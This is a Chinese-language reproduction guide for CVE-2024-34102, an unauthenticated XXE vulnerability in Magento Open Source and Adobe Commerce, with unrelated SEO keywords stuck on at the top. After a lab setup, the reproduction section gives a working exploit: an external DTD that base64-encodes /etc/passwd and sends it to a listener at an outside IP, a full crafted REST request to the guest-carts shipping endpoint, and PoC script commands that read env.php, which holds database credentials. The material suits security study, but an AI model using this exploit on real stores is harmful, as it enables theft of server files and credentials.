装潢公司网站设计与制作,网站开发语音,淄博网站电子商城平台建设,宁波网站制作怎样目录
漏洞介绍
影响版本
环境搭建
查看版本
漏洞复现
手动复现
漏洞 poc Magento Open Source 是一个免费开源的电子商务平台#xff0c;适合中小企业或开发团队通过自定义代码和插件创建在线商店。它由社区开发和支持#xff0c;功能强大但需要更多的技术投入。Adobe…目录
漏洞介绍
影响版本
环境搭建
查看版本
漏洞复现
手动复现
漏洞 poc Magento Open Source 是一个免费开源的电子商务平台适合中小企业或开发团队通过自定义代码和插件创建在线商店。它由社区开发和支持功能强大但需要更多的技术投入。Adobe Commerce 是 Magento 的付费版增加了高级功能、托管服务、技术支持和企业工具适合需要复杂功能和高性能支持的大型企业。
Magento Open Source 和 Adobe Commerce 都属于 Adobe 公司。它们来源于同一个平台Magento最初由 Magento, Inc. 开发但后来在 2018 年被 Adobe 收购。在收购后Adobe 将 Magento 平台重新划分为两种版本Magento Open Source社区版和Adobe Commerce企业版。
漏洞介绍
Adobe Commerce和Magento Open Sourc多个受影响版本中存在XML外部实体引用限制不当未经身份验证的威胁者可发送引用外部实体的恶意设计的 XML文档来利用该漏洞成功利用可能导致任意代码执行。
影响版本
Adobe Commerce 和 Magento Open Source
2.4.7-p1 and earlier2.4.6-p6 and earlier2.4.5-p8 and earlier2.4.4-p9 and earlier
环境搭建
安装 Magento 需要 至少 6GB 的 RAM 分配给 Docker。这是因为 Magento 是一个复杂且资源密集的电子商务平台安装过程中需要运行多个服务和工具。
系统ubuntu2020版本Magento Open Source 2.4.7
安装方法参考https://github.com/markshust/docker-magento/?tabreadme-ov-file#new-projects
mkdir -p ~/Sites/magento
cd $_
curl -s https://raw.githubusercontent.com/markshust/docker-magento/master/lib/template | bash
bin/download community 2.4.7 community
bin/setup magento.test 禁用 Magento 的双重认证模块避免每次登录时输入验证码。
docker exec -it magento-phpfpm-1 bash
bin/magento module:disable Magento_AdminAdobeImsTwoFactorAuth
bin/magento module:disable Magento_TwoFactorAuth 然后绑定下 host 文件访问https://magento.test 如果访问网站响应非常慢建议切换到生产模式。默认安装后在开发模式下运行所有的配置和静态内容会在每次请求时动态加载这会导致较慢的页面加载时间。
切换到 生产模式production mode
bin/magento deploy:mode:set production 如果在安装的时候访问 Magento 需要密钥。username 为 public-key。Password 为 private-key 获取密钥的方式如下
到官方注册 Magento 账号Sign in登录 Marketplace打到My Profile 的 Access Keys 页面新建一个自己的 Access Key。或直接进入页面Sign in 查看版本
bin/magento --version 漏洞复现
手动复现
1. 编辑 poc.xml 文件读取 /etc/passwd 文件
!ENTITY % data SYSTEM php://filter/convert.base64-encode/resource/etc/passwd
!ENTITY % param1 !ENTITY exfil SYSTEM http://192.168.67.147:80/poc.xml?%data;
然后在当前目录启动一个 web 服务http://192.168.67.147:80/poc.xml
python -m http.server 80
2. 构造请求利用 XXE 读取文件
POST /rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods HTTP/2
Host: magento.test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: application/json, text/javascript, */*; q0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Content-Length: 267{address: {totalsReader: {collectorList: {totalCollector: {sourceData: {data: ?xml version\1.0\ ? !DOCTYPE r [ !ELEMENT r ANY !ENTITY % sp SYSTEM \http://192.168.67.147:80/poc.xml\ %sp; %param1; ] rexfil;/r, options:12345678 }}}}}} 漏洞 poc
pochttps://github.com/bigb0x/CVE-2024-34102这里 poc 需要修改一下将其中的 options 值修改为 12345678否则有些文件读取不出来 cve-2024-34102.py -u https://magento.test -ip 本地ip -p 端口 -r /etc/passwd 读取 /var/www/html/app/etc/env.php 文件这个文件定义了 Magento 的数据库连接信息以及其他服务如 Elasticsearch、RabbitMQ 等服务的连接信息
cve-2024-34102.py -u https://magento.test -ip 192.168.67.147 -p 80 -r /var/www/html/app/etc/env.php 参考
http://www.bmth666.cn/2024/06/28